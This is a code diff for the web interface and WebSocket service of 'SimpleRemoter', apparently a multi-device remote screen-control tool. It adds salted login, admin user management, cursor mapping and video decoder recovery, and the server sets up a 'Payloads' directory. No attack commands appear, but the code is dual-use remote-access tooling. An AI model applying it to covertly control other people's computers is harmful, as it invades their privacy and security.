oCl+gyHlC5fW7lJ65SH7Wz9zZ9i1X1qzlbOoqji/+lGMrVnEsPYOrP+yjvbERp+H+YZp0ZqxVKmxqI23WJqEKjuZzqKe9S1Bns12woM3cIAA06a006izUK/WYqhTUvihH/rCIyus5vD5zheKD2Tz8IYs7jpH7cjO/fbaak5+u5MKm7Vz59jseHz9Da0MDTkN9g9gUtRjfyIWMHCV2VKG1rlEouSO4UIm2TuwO761NgveNeitN+jqadBZsKiOmGhW14irk+c+peVBExc3HiC/d5tnpqzw6fJKHvxzl7n9/Jm9/No+O/o+Xf9yhu90+sogcmVtrNDRpzLQY67HXNdPVbKfHYUVnD32dvfR39tLb1kW3Yz80tNJR10K7tUmQYyqajfU0aIyYa5RYpGoMlUrUpRIUz0tRloiRFbyi5kEhsvxiJI9LUIsr6O/uwenv938z3DvIUM+AcL4bGOb9wFveD73j/eBb/h7+i7/f/sXfw++F57+G3/P+7XveDr4VNDw4zNuBf56HGB4YZKhvQNBgbz9Dff0MdPUKwQR1fTi7e/nr/V/8HzLpSvkUrIc+AAAAAElFTkSuQmCC">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
@@ -74,7 +75,7 @@ inline std::string GetWebPageHTML() {
box-shadow: 0 0 0 3px rgba(233, 69, 96, 0.2);
}
.login-form input::placeholder { color: #666; }
.login-form button {
.login-form > button {
width: 100%;
padding: 14px;
border: none;
@@ -88,12 +89,80 @@ inline std::string GetWebPageHTML() {
text-transform: uppercase;
letter-spacing: 1px;
}
.login-form button:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(233, 69, 96, 0.4); }
.login-form button:disabled { background: #444; cursor: not-allowed; transform: none; box-shadow: none; }
.login-form > button:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(233, 69, 96, 0.4); }
.login-form > button:disabled { background: #444; cursor: not-allowed; transform: none; box-shadow: none; }
.error-msg { color: #e94560; text-align: center; margin-top: 16px; font-size: 14px; }
.conn-status { text-align: center; margin-bottom: 20px; font-size: 13px; color: #666; }
.conn-status.connected { color: #4caf50; }
.conn-status.disconnected { color: #f44336; }
/* Password input with toggle */
.password-wrapper {
position: relative;
width: 100%;
margin-bottom: 16px;
}
.password-wrapper input {
margin-bottom: 0;
padding-right: 48px;
}
.password-toggle {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
background: none;
border: none;
color: #888;
cursor: pointer;
padding: 0;
width: 24px;
height: 24px;
font-size: 16px;
line-height: 24px;
text-align: center;
transition: color 0.2s;
opacity: 0.6;
display: flex;
align-items: center;
justify-content: center;
}
.password-toggle:hover { color: #e94560; opacity: 1; }
/* Login footer */
.login-footer {
margin-top: 24px;
padding-top: 20px;
border-top: 1px solid rgba(255,255,255,0.1);
}
.security-notice {
background: rgba(255,152,0,0.1);
border: 1px solid rgba(255,152,0,0.3);
border-radius: 8px;
padding: 12px;
margin-bottom: 16px;
font-size: 12px;
color: #ccc;
line-height: 1.5;
}
.security-notice strong {
color: #ff9800;
display: block;
margin-bottom: 4px;
}
.login-links {
display: flex;
justify-content: center;
gap: 24px;
font-size: 13px;
}
.login-links a {
color: #e94560;
text-decoration: none;
display: flex;
align-items: center;
gap: 6px;
transition: color 0.2s;
}
.login-links a:hover { color: #ff6b8a; }
)HTML";
// Part 2: Device page styles
@@ -206,6 +275,118 @@ inline std::string GetWebPageHTML() {
margin-left: 10px;
}
.logout-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); }
.users-btn {
padding: 10px 20px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #9b59b6 0%, #8e44ad 100%);
color: #fff;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s;
margin-left: 10px;
display: none;
}
.users-btn.visible { display: inline-block; }
.users-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(142, 68, 173, 0.4); }
/* User Management Modal */
.modal-overlay {
display: none;
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0,0,0,0.7);
z-index: 1000;
align-items: center;
justify-content: center;
}
.modal-overlay.active { display: flex; }
.modal-content {
background: rgba(22, 33, 62, 0.98);
border-radius: 16px;
padding: 24px;
width: 90%;
max-width: 500px;
max-height: 80vh;
overflow-y: auto;
box-shadow: 0 8px 32px rgba(0,0,0,0.5);
border: 1px solid rgba(233, 69, 96, 0.2);
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 16px;
border-bottom: 1px solid rgba(255,255,255,0.1);
}
.modal-header h3 { color: #e94560; margin: 0; }
.modal-close {
background: none;
border: none;
color: #888;
font-size: 24px;
cursor: pointer;
padding: 0;
line-height: 1;
}
.modal-close:hover { color: #e94560; }
.user-form { margin-bottom: 24px; }
.user-form h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
.user-form input, .user-form select {
width: 100%;
padding: 10px 12px;
margin-bottom: 12px;
border: 1px solid rgba(255,255,255,0.1);
border-radius: 8px;
background: rgba(15, 52, 96, 0.8);
color: #fff;
font-size: 14px;
}
.user-form input:focus, .user-form select:focus {
outline: none;
border-color: #e94560;
}
.user-form button {
width: 100%;
padding: 12px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #27ae60 0%, #2ecc71 100%);
color: #fff;
font-weight: 600;
cursor: pointer;
transition: all 0.3s;
}
.user-form button:hover { transform: translateY(-1px); }
.user-list h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
.user-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 12px;
background: rgba(15, 52, 96, 0.5);
border-radius: 8px;
margin-bottom: 8px;
}
.user-item .user-info { flex: 1; }
.user-item .username { color: #fff; font-weight: 500; }
.user-item .role { color: #888; font-size: 12px; }
.user-item .role.admin { color: #e94560; }
.user-item .delete-btn {
background: rgba(231, 76, 60, 0.2);
border: 1px solid rgba(231, 76, 60, 0.5);
color: #e74c3c;
padding: 6px 12px;
border-radius: 6px;
cursor: pointer;
font-size: 12px;
}
.user-item .delete-btn:hover { background: rgba(231, 76, 60, 0.4); }
.user-item .delete-btn:disabled { opacity: 0.5; cursor: not-allowed; }
.user-msg { padding: 10px; border-radius: 6px; margin-bottom: 12px; font-size: 13px; }
.user-msg.success { background: rgba(39, 174, 96, 0.2); color: #2ecc71; }
.user-msg.error { background: rgba(231, 76, 60, 0.2); color: #e74c3c; }
)HTML";
// Part 3: Device card styles
@@ -267,6 +448,9 @@ inline std::string GetWebPageHTML() {
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
max-width: 100%; opacity: 0.8;
}
.device-card .active-window.busy {
color: #e94560; opacity: 1; font-weight: 500;
}
.device-card .meta-row { display: flex; gap: 12px; margin-top: 6px; font-size: 12px; color: #666; }
.device-card .meta-item { display: flex; align-items: center; gap: 4px; }
.device-card .meta-item.rtt { font-weight: 500; }
@@ -711,9 +895,22 @@ inline std::string GetWebPageHTML() {
<h1>SimpleRemoter</h1>
<div id="ws-status" class="conn-status disconnected">Connecting...</div>
<input type="text" id="username" placeholder="Username" value="admin">
<div class="password-wrapper">
<input type="password" id="password" placeholder="Password">
<button type="button" class="password-toggle" onclick="togglePasswordVisibility()" title="Show/Hide Password">&#x1F441;</button>
</div>
<button id="login-btn" onclick="login()" disabled>Login</button>
<div id="login-error" class="error-msg"></div>
<div class="login-footer">
<div class="security-notice">
<strong>&#x26A0; Security Notice</strong>
SimpleRemoter.com may be flagged as "dangerous" by browsers due to the word "Remote" in its name. This is a false positive. The software is fully open-source and safe to use.
</div>
<div class="login-links">
<a href="https://simpleremoter.com/" target="_blank">&#x1F310; Website</a>
<a href="https://git.simpleremoter.com/" target="_blank">&#x1F4E6; Source Code</a>
</div>
</div>
</div>
</div>
<div id="devices-page" class="page">
@@ -729,6 +926,7 @@ inline std::string GetWebPageHTML() {
<button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button>
</div>
<button class="refresh-btn" onclick="getDevices()">Refresh</button>
<button class="users-btn" id="users-btn" onclick="openUsersModal()">Users</button>
<button class="logout-btn" onclick="logout()">Logout</button>
</div>
</div>
@@ -772,6 +970,7 @@ inline std::string GetWebPageHTML() {
<button class="shortcut-btn" data-key="190" tabindex="-1">.</button>
<button class="shortcut-btn" data-key="188" tabindex="-1">,</button>
<button class="shortcut-btn" data-key="191" data-shift="1" tabindex="-1">?</button>
<button class="shortcut-btn" data-key="32" data-ctrl="1" tabindex="-1" title="Ctrl+Space">&#x4E2D;</button>
</div>
</div>
<div class="touch-indicator" id="touch-indicator"></div>
@@ -785,6 +984,31 @@ inline std::string GetWebPageHTML() {
<div class="zoom-indicator" id="zoom-indicator">100%</div>
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
</div>
<!-- User Management Modal -->
<div class="modal-overlay" id="users-modal">
<div class="modal-content">
<div class="modal-header">
<h3>User Management</h3>
<button class="modal-close" onclick="closeUsersModal()">&times;</button>
</div>
<div id="user-msg"></div>
<div class="user-form">
<h4>Create New User</h4>
<input type="text" id="new-username" placeholder="Username" autocomplete="off">
<input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
<select id="new-role">
<option value="viewer">Viewer (read-only)</option>
<option value="admin">Admin (full access)</option>
</select>
<button onclick="createUser()">Create User</button>
</div>
<div class="user-list">
<h4>Existing Users</h4>
<div id="users-list"></div>
</div>
</div>
</div>
)HTML";
// Part 7: JavaScript - State and WebSocket
@@ -903,9 +1127,17 @@ inline std::string GetWebPageHTML() {
startPingInterval();
// Auto-restore session if token exists
if (token) {
// Check if we were on screen-page with an active device
const screenPage = document.getElementById('screen-page');
if (screenPage.classList.contains('active') && currentDevice) {
// Reconnect to current device
updateScreenStatus('connecting');
ws.send(JSON.stringify({ cmd: 'connect', id: String(currentDevice.id), token }));
} else {
showPage('devices-page');
getDevices();
}
}
};
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
ws.onerror = (e) => console.error('WS error:', e);
@@ -936,11 +1168,28 @@ inline std::string GetWebPageHTML() {
challengeNonce = msg.nonce || '';
console.log('Received challenge nonce');
break;
case 'salt':
if (msg.ok) {
completeLogin(msg.salt || '');
} else {
pendingLogin = null; // Clear pending state on error
document.getElementById('login-error').textContent = msg.msg || 'Failed to get salt';
}
break;
case 'login_result':
if (msg.ok) {
token = msg.token;
currentUserRole = msg.role || 'viewer';
sessionStorage.setItem('token', token);
sessionStorage.setItem('role', currentUserRole);
document.getElementById('login-error').textContent = '';
// Show Users button for admin only
const usersBtn = document.getElementById('users-btn');
if (currentUserRole === 'admin') {
usersBtn.classList.add('visible');
} else {
usersBtn.classList.remove('visible');
}
showPage('devices-page');
getDevices();
} else {
@@ -976,17 +1225,29 @@ inline std::string GetWebPageHTML() {
}
break;
case 'disconnect_result':
// Only navigate if authenticated
if (!token) break;
showPage('devices-page');
getDevices();
// disconnect() already handles navigation, this is just server acknowledgment
// No action needed - prevents race conditions when switching devices
break;
case 'resolution_changed':
updateScreenStatus('connected');
initDecoder(msg.width, msg.height);
break;
case 'cursor':
// Update remote cursor style (only for desktop in control mode)
currentCursorIndex = msg.index;
if (controlEnabled && !isTouchDevice) {
const canvas = document.getElementById('screen-canvas');
// 254=custom cursor (not supported in web), 255=unsupported -> default
const cssCursor = (msg.index >= 0 && msg.index < cursorMap.length)
? cursorMap[msg.index]
: 'default';
canvas.style.cursor = cssCursor;
}
break;
case 'device_offline':
// Only handle if this is the device we're currently viewing
if (!token) break;
if (!currentDevice || String(msg.id) !== String(currentDevice.id)) break;
updateScreenStatus('error', 'Device offline');
setTimeout(() => { showPage('devices-page'); getDevices(); }, 2000);
break;
@@ -1002,6 +1263,29 @@ inline std::string GetWebPageHTML() {
getDevices();
}
break;
case 'create_user_result':
if (msg.ok) {
showUserMsg('User created successfully', false);
document.getElementById('new-username').value = '';
document.getElementById('new-password').value = '';
listUsers();
} else {
showUserMsg(msg.msg || 'Failed to create user', true);
}
break;
case 'delete_user_result':
if (msg.ok) {
showUserMsg('User deleted', false);
listUsers();
} else {
showUserMsg(msg.msg || 'Failed to delete user', true);
}
break;
case 'list_users_result':
if (msg.ok) {
renderUsersList(msg.users);
}
break;
}
}
)HTML";
@@ -1014,6 +1298,11 @@ inline std::string GetWebPageHTML() {
}
function initDecoder(width, height) {
decoderWidth = width;
decoderHeight = height;
needKeyframe = false;
decodeTimestamp = 0;
// Clear canvas before resizing to prevent residual content
ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform
ctx.clearRect(0, 0, canvas.width, canvas.height);
@@ -1035,6 +1324,10 @@ inline std::string GetWebPageHTML() {
lastFrameTime = performance.now();
decoder = new VideoDecoder({
output: (frame) => {
// Check if frame dimensions match canvas
if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) {
console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, canvas=${canvas.width}x${canvas.height}`);
}
ctx.drawImage(frame, 0, 0);
frame.close();
frameCount++;
@@ -1046,7 +1339,7 @@ inline std::string GetWebPageHTML() {
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
}
},
error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); }
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
});
decoder.configure({
codec: 'avc1.42E01E',
@@ -1056,20 +1349,50 @@ inline std::string GetWebPageHTML() {
});
}
let decoderWidth = 0, decoderHeight = 0, needKeyframe = false;
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
function handleBinaryFrame(data) {
if (!decoder || decoder.state !== 'configured') return;
const view = new DataView(data);
const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4);
const dataLen = view.getUint32(5, true);
const isKeyframe = frameType === 1;
// If decoder is closed or errored, wait for keyframe to reinitialize
if (!decoder || decoder.state === 'closed') {
if (isKeyframe && decoderWidth > 0) {
console.log('Reinitializing decoder on keyframe');
initDecoder(decoderWidth, decoderHeight);
needKeyframe = false;
} else {
needKeyframe = true;
return;
}
}
if (decoder.state !== 'configured') return;
// Skip delta frames if we need a keyframe
if (needKeyframe && !isKeyframe) return;
if (isKeyframe) needKeyframe = false;
const h264Data = new Uint8Array(data, 9, dataLen);
try {
// Check decoder queue to avoid overwhelming it (but never skip keyframes)
if (!isKeyframe && decoder.decodeQueueSize > 10) {
needKeyframe = true; // Need keyframe to resync after skipping
return;
}
decoder.decode(new EncodedVideoChunk({
type: frameType === 1 ? 'key' : 'delta',
timestamp: performance.now() * 1000,
type: isKeyframe ? 'key' : 'delta',
timestamp: decodeTimestamp++,
data: h264Data
}));
} catch (e) { console.error('Decode error:', e); }
} catch (e) {
console.error('Decode error:', e);
needKeyframe = true;
}
}
)HTML";
@@ -1131,6 +1454,13 @@ inline std::string GetWebPageHTML() {
return 'rtt-poor'; // Red: > 300ms
}
function isWindowBusy(activeWindow) {
if (!activeWindow || activeWindow.trim() === '') return false;
const lower = activeWindow.toLowerCase();
if (lower.includes('locked') || lower.includes('inactive')) return false;
return true;
}
function updateDeviceInfo(deviceId, rtt, activeWindow) {
// Update device in array
const device = devices.find(d => d.id === deviceId || d.id === String(deviceId));
@@ -1168,6 +1498,7 @@ inline std::string GetWebPageHTML() {
}
winEl.textContent = activeWindow;
winEl.title = activeWindow;
winEl.className = 'active-window' + (isWindowBusy(activeWindow) ? ' busy' : '');
} else if (winEl) {
winEl.remove();
}
@@ -1213,7 +1544,7 @@ inline std::string GetWebPageHTML() {
'<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' +
'<span class="meta-item">' + screenInfo + '</span>' +
'</div>' +
(activeWin ? '<div class="active-window" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
(activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
'</div>';
}).join('');
}
@@ -1269,6 +1600,21 @@ inline std::string GetWebPageHTML() {
else el.textContent = msg || 'Error';
}
function togglePasswordVisibility() {
const input = document.getElementById('password');
const btn = document.querySelector('.password-toggle');
if (input.type === 'password') {
input.type = 'text';
btn.innerHTML = '&#x1F440;'; // Eyes
} else {
input.type = 'password';
btn.innerHTML = '&#x1F441;'; // Eye
}
}
// Pending login state for salt-based auth
let pendingLogin = null;
async function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
@@ -1276,8 +1622,18 @@ inline std::string GetWebPageHTML() {
if (!ws || ws.readyState !== WebSocket.OPEN) { document.getElementById('login-error').textContent = 'Not connected'; return; }
if (!challengeNonce) { document.getElementById('login-error').textContent = 'No challenge received'; return; }
// Compute password hash (same as server stores)
passwordHash = await sha256(password);
// Store pending login info and request salt first
pendingLogin = { username, password };
ws.send(JSON.stringify({ cmd: 'get_salt', username }));
}
async function completeLogin(salt) {
if (!pendingLogin) return;
const { username, password } = pendingLogin;
pendingLogin = null;
// Compute password hash with salt: SHA256(password + salt)
passwordHash = await sha256(password + salt);
// Compute response: SHA256(passwordHash + nonce)
const response = await sha256(passwordHash + challengeNonce);
ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce }));
@@ -1295,6 +1651,75 @@ inline std::string GetWebPageHTML() {
sessionStorage.removeItem('token');
devices = [];
showPage('login-page');
// Hide users button
document.getElementById('users-btn').classList.remove('visible');
}
// User Management Functions
let currentUserRole = 'viewer';
function openUsersModal() {
document.getElementById('users-modal').classList.add('active');
document.getElementById('user-msg').innerHTML = '';
listUsers();
}
function closeUsersModal() {
document.getElementById('users-modal').classList.remove('active');
}
function showUserMsg(msg, isError) {
const el = document.getElementById('user-msg');
el.className = 'user-msg ' + (isError ? 'error' : 'success');
el.textContent = msg;
setTimeout(() => { el.innerHTML = ''; }, 3000);
}
function createUser() {
const username = document.getElementById('new-username').value.trim();
const password = document.getElementById('new-password').value;
const role = document.getElementById('new-role').value;
if (!username || !password) {
showUserMsg('Username and password are required', true);
return;
}
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role }));
}
}
function deleteUser(username) {
if (!confirm('Delete user "' + username + '"?')) return;
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'delete_user', token, username }));
}
}
function listUsers() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'list_users', token }));
}
}
function renderUsersList(users) {
const container = document.getElementById('users-list');
if (!users || users.length === 0) {
container.innerHTML = '<div style="color:#666;padding:12px;">No users</div>';
return;
}
container.innerHTML = users.map(u => {
const isAdmin = u.role === 'admin';
const canDelete = u.username !== 'admin'; // Cannot delete built-in admin
return '<div class="user-item">' +
'<div class="user-info">' +
'<div class="username">' + escapeHtml(u.username) + '</div>' +
'<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
'</div>' +
(canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
'</div>';
}).join('');
}
function getDevices() {
@@ -1374,6 +1799,28 @@ inline std::string GetWebPageHTML() {
// Control mode state (mouse/keyboard control)
let controlEnabled = false;
// Remote cursor mapping (Windows cursor index -> CSS cursor)
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
const cursorMap = [
'progress', // 0: IDC_APPSTARTING
'default', // 1: IDC_ARROW
'crosshair', // 2: IDC_CROSS
'pointer', // 3: IDC_HAND
'help', // 4: IDC_HELP
'text', // 5: IDC_IBEAM
'default', // 6: IDC_ICON (no direct CSS equivalent)
'not-allowed', // 7: IDC_NO
'default', // 8: IDC_SIZE (deprecated, use default)
'move', // 9: IDC_SIZEALL
'nesw-resize', // 10: IDC_SIZENESW
'ns-resize', // 11: IDC_SIZENS
'nwse-resize', // 12: IDC_SIZENWSE
'ew-resize', // 13: IDC_SIZEWE
'default', // 14: IDC_UPARROW (no direct CSS equivalent)
'wait' // 15: IDC_WAIT
];
let currentCursorIndex = 1; // Default: arrow
// Floating toolbar state
let toolbarVisible = false;
let toolbarHideTimer = null;
@@ -1525,8 +1972,18 @@ inline std::string GetWebPageHTML() {
const canvas = document.getElementById('screen-canvas');
const cursorOverlay = document.getElementById('cursor-overlay');
// Touch devices: hide browser cursor, show overlay (touchpad mode)
// Desktop: keep browser cursor visible, no overlay needed (remote shows cursor)
canvas.style.cursor = (controlEnabled && isTouchDevice) ? 'none' : 'default';
// Desktop: use remote cursor style when control enabled
if (controlEnabled && isTouchDevice) {
canvas.style.cursor = 'none';
} else if (controlEnabled && !isTouchDevice) {
// Apply current remote cursor
const cssCursor = (currentCursorIndex >= 0 && currentCursorIndex < cursorMap.length)
? cursorMap[currentCursorIndex]
: 'default';
canvas.style.cursor = cssCursor;
} else {
canvas.style.cursor = 'default';
}
cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice);
}
@@ -2239,6 +2696,7 @@ inline std::string GetWebPageHTML() {
sendMouse('up', pos.x, pos.y, e.button);
});
// dblclick handler - server will forward only to macOS clients
canvas.addEventListener('dblclick', function(e) {
e.preventDefault();
const pos = getMousePos(e);
@@ -2356,6 +2814,7 @@ inline std::string GetWebPageHTML() {
if (qcMouse) qcMouse.classList.remove('active');
document.getElementById('screen-canvas').style.cursor = 'default';
document.getElementById('cursor-overlay').classList.remove('active');
currentCursorIndex = 1; // Reset to default arrow
// Reset zoom state
zoomState.scale = 1;
@@ -2366,7 +2825,10 @@ inline std::string GetWebPageHTML() {
canvas.style.transformOrigin = '';
if (decoder) { try { decoder.close(); } catch(e) {} decoder = null; }
if (ws && ws.readyState === WebSocket.OPEN && token) ws.send(JSON.stringify({ cmd: 'disconnect', token }));
if (ws && ws.readyState === WebSocket.OPEN && token && currentDevice) {
ws.send(JSON.stringify({ cmd: 'disconnect', token, id: String(currentDevice.id) }));
}
currentDevice = null; // Clear current device
showPage('devices-page');
getDevices();
}
@@ -2392,22 +2854,49 @@ inline std::string GetWebPageHTML() {
});
// Handle page visibility change (iOS PWA background/foreground)
document.addEventListener('visibilitychange', () => {
isPageVisible = !document.hidden;
if (document.hidden) {
// Page going to background - close connection and cancel reconnect
let backgroundDisconnectTimer = null;
const BACKGROUND_TIMEOUT_MOBILE = 30000; // 30s for mobile/tablet
function doBackgroundDisconnect() {
cancelReconnect();
stopPingInterval();
if (ws) {
ws.onclose = null; // Prevent triggering reconnect
ws.onclose = null;
ws.close();
ws = null;
}
updateWsStatus('disconnected');
}
document.addEventListener('visibilitychange', () => {
isPageVisible = !document.hidden;
if (document.hidden) {
// Page going to background
const screenPage = document.getElementById('screen-page');
const onScreenPage = screenPage && screenPage.classList.contains('active') && currentDevice;
if (onScreenPage) {
// Mobile/tablet: delay disconnect 30s
// Desktop: keep connection alive (no timer)
if (isTouchDevice) {
backgroundDisconnectTimer = setTimeout(doBackgroundDisconnect, BACKGROUND_TIMEOUT_MOBILE);
}
} else {
// Page coming to foreground - reconnect
// Other pages - disconnect immediately
doBackgroundDisconnect();
}
} else {
// Page coming to foreground
if (backgroundDisconnectTimer) {
clearTimeout(backgroundDisconnectTimer);
backgroundDisconnectTimer = null;
}
// Reconnect or send immediate ping
if (!ws || ws.readyState !== WebSocket.OPEN) {
connectWebSocket();
} else if (token) {
// Connection still open - send immediate ping to refresh server heartbeat
ws.send(JSON.stringify({ cmd: 'ping', token }));
}
}
});
@@ -2456,10 +2945,13 @@ inline std::string GetWebPageHTML() {
e.preventDefault();
const keyCode = parseInt(btn.dataset.key);
const needShift = btn.dataset.shift === '1';
const needCtrl = btn.dataset.ctrl === '1';
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
if (needShift) sendShortcutKey(16, true); // Shift down
sendShortcutKey(keyCode, true);
sendShortcutKey(keyCode, false);
if (needShift) sendShortcutKey(16, false); // Shift up
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
});
btn.addEventListener('click', function(e) {
e.preventDefault();
@@ -2467,10 +2959,13 @@ inline std::string GetWebPageHTML() {
if (!('ontouchstart' in window)) {
const keyCode = parseInt(btn.dataset.key);
const needShift = btn.dataset.shift === '1';
const needCtrl = btn.dataset.ctrl === '1';
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
if (needShift) sendShortcutKey(16, true);
sendShortcutKey(keyCode, true);
sendShortcutKey(keyCode, false);
if (needShift) sendShortcutKey(16, false);
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
}
});
});
@@ -2496,8 +2991,13 @@ inline std::string GetWebPageHTML() {
bindKeyboardBtnEvents(document.getElementById('qc-keyboard'));
bindKeyboardBtnEvents(document.getElementById('btn-keyboard'));
bindKeyboardBtnEvents(document.getElementById('btn-keyboard-bar'));
// Restore token from sessionStorage
// Restore token and role from sessionStorage
token = sessionStorage.getItem('token');
currentUserRole = sessionStorage.getItem('role') || 'viewer';
// Show Users button for admin only (will be updated after login verification)
if (token && currentUserRole === 'admin') {
document.getElementById('users-btn').classList.add('visible');
}
connectWebSocket();
};
</script>

View File

@@ -9,6 +9,8 @@
#include "SimpleWebSocket.h"
#include "common/commands.h"
#include <filesystem>
#include <fstream>
#include <shlobj.h>
// Algorithm constants (same as ScreenSpyDlg.cpp)
#define ALGORITHM_H264 2
@@ -20,6 +22,16 @@ static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex;
static std::atomic<bool> s_bShuttingDown{false}; // Prevents access during static destruction
// Generate random salt (16 hex chars) - thread-safe
static std::string GenerateSalt() {
static std::random_device rd;
static std::mt19937_64 gen(rd());
std::uniform_int_distribution<uint64_t> dis;
char buf[17];
snprintf(buf, sizeof(buf), "%016llX", dis(gen));
return std::string(buf);
}
// Generate random nonce (32 hex chars) - thread-safe
static std::string GenerateNonce() {
if (s_bShuttingDown) return "";
@@ -112,11 +124,22 @@ CWebService::CWebService()
m_PayloadsDir = (exeDir / "Payloads").string();
std::error_code ec;
std::filesystem::create_directories(m_PayloadsDir, ec);
// Initialize config directory (same as YAMA.db location)
char appdata_path[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata_path))) {
m_ConfigDir = std::string(appdata_path) + "\\" BRAND_DATA_FOLDER "\\";
} else {
m_ConfigDir = ".\\";
}
std::filesystem::create_directories(m_ConfigDir, ec);
}
void CWebService::SetAdminPassword(const std::string& password) {
std::lock_guard<std::mutex> lock(m_UsersMutex);
m_Users.clear();
// Admin user is built-in, always first
WebUser admin;
admin.username = "admin";
admin.salt = ""; // Not used with challenge-response auth
@@ -125,6 +148,9 @@ void CWebService::SetAdminPassword(const std::string& password) {
m_Users.push_back(admin);
Mprintf("[WebService] Admin password configured\n");
// Load additional users from file (non-admin users)
LoadUsers();
}
CWebService::~CWebService() {
@@ -318,7 +344,9 @@ void CWebService::ServerThread(int port) {
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
HandleConnect(ws_ptr, token, device_id);
} else if (cmd == "disconnect") {
HandleDisconnect(ws_ptr, token);
std::string disc_id_str = root.get("id", "").asString();
uint64_t disc_device_id = disc_id_str.empty() ? 0 : strtoull(disc_id_str.c_str(), nullptr, 10);
HandleDisconnect(ws_ptr, token, disc_device_id);
} else if (cmd == "ping") {
HandlePing(ws_ptr, token);
} else if (cmd == "mouse") {
@@ -327,6 +355,14 @@ void CWebService::ServerThread(int port) {
HandleKey(ws_ptr, msg);
} else if (cmd == "rdp_reset") {
HandleRdpReset(ws_ptr, token);
} else if (cmd == "get_salt") {
HandleGetSalt(ws_ptr, msg);
} else if (cmd == "create_user") {
HandleCreateUser(ws_ptr, msg);
} else if (cmd == "delete_user") {
HandleDeleteUser(ws_ptr, msg);
} else if (cmd == "list_users") {
HandleListUsers(ws_ptr, token);
}
}
});
@@ -478,6 +514,51 @@ void CWebService::HandleLogin(void* ws_ptr, const std::string& msg, const std::s
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleGetSalt(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("salt", false, "Invalid JSON"));
return;
}
std::string username = root.get("username", "").asString();
if (username.empty()) {
SendText(ws_ptr, BuildJsonResponse("salt", false, "Username required"));
return;
}
// Find user and get salt
std::string salt = "";
bool userFound = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
salt = u.salt;
userFound = true;
break;
}
}
}
// For security: if user doesn't exist, generate a fake deterministic salt
// This prevents username enumeration attacks
// Note: Admin has empty salt, so we must check userFound, not salt.empty()
if (!userFound) {
// Generate deterministic fake salt from username (won't match any real password)
salt = WSAuth::ComputeSHA256("fake_salt_prefix_" + username).substr(0, 16);
}
Json::Value res;
res["cmd"] = "salt";
res["ok"] = true;
res["salt"] = salt;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
@@ -572,7 +653,7 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
}
}
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("disconnect_result", false, "Invalid token"));
@@ -585,10 +666,14 @@ void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
